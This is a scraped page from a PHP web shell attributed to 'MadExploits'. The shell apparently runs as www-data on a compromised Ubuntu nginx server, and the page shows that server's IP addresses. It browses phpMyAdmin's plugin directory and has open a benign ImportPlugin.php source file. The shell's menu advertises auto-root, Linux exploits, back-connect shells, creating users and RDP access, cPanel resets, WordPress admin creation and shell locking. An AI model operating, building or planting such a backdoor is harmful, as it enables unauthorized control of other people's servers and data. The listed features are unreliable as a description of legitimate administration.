Linux ubuntu22 5.15.0-133-generic #144-Ubuntu SMP Fri Feb 7 20:47:38 UTC 2025 x86_64
nginx/1.18.0
: 128.199.27.159 | : 216.73.216.189
Cant Read [ /etc/named.conf ]
8.1.31
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
phpmyadmin /
libraries /
classes /
Plugins /
[ HOME SHELL ]
Name
Size
Permission
Action
Auth
[ DIR ]
drwxr-xr-x
Export
[ DIR ]
drwxr-xr-x
Import
[ DIR ]
drwxr-xr-x
Schema
[ DIR ]
drwxr-xr-x
Transformations
[ DIR ]
drwxr-xr-x
TwoFactor
[ DIR ]
drwxr-xr-x
AuthenticationPlugin.php
9.87
KB
-rw-r--r--
ExportPlugin.php
11.29
KB
-rw-r--r--
IOTransformationsPlugin.php
2.29
KB
-rw-r--r--
ImportPlugin.php
1.91
KB
-rw-r--r--
SchemaPlugin.php
2.17
KB
-rw-r--r--
TransformationsInterface.php
791
B
-rw-r--r--
TransformationsPlugin.php
1.64
KB
-rw-r--r--
TwoFactorPlugin.php
3.77
KB
-rw-r--r--
UploadInterface.php
557
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : ImportPlugin.php
<?php /** * Abstract class for the import plugins */ declare(strict_types=1); namespace PhpMyAdmin\Plugins; use PhpMyAdmin\File; use PhpMyAdmin\Import; use PhpMyAdmin\Properties\Plugins\ImportPluginProperties; use function strlen; /** * Provides a common interface that will have to be implemented by all of the * import plugins. */ abstract class ImportPlugin { /** * ImportPluginProperties object containing the import plugin properties * * @var ImportPluginProperties */ protected $properties; /** @var Import */ protected $import; public function __construct() { $this->import = new Import(); } /** * Handles the whole import logic * * @param array $sql_data 2-element array with sql data * * @return void */ abstract public function doImport(?File $importHandle = null, array &$sql_data = []); /* ~~~~~~~~~~~~~~~~~~~~ Getters and Setters ~~~~~~~~~~~~~~~~~~~~ */ /** * Gets the import specific format plugin properties * * @return ImportPluginProperties */ public function getProperties() { return $this->properties; } /** * Sets the export plugins properties and is implemented by each import * plugin * * @return void */ abstract protected function setProperties(); /** * Define DB name and options * * @param string $currentDb DB * @param string $defaultDb Default DB name * * @return array DB name and options (an associative array of options) */ protected function getDbnameAndOptions($currentDb, $defaultDb) { if (strlen((string) $currentDb) > 0) { $db_name = $currentDb; $options = ['create_db' => false]; } else { $db_name = $defaultDb; $options = null; } return [ $db_name, $options, ]; } }
Close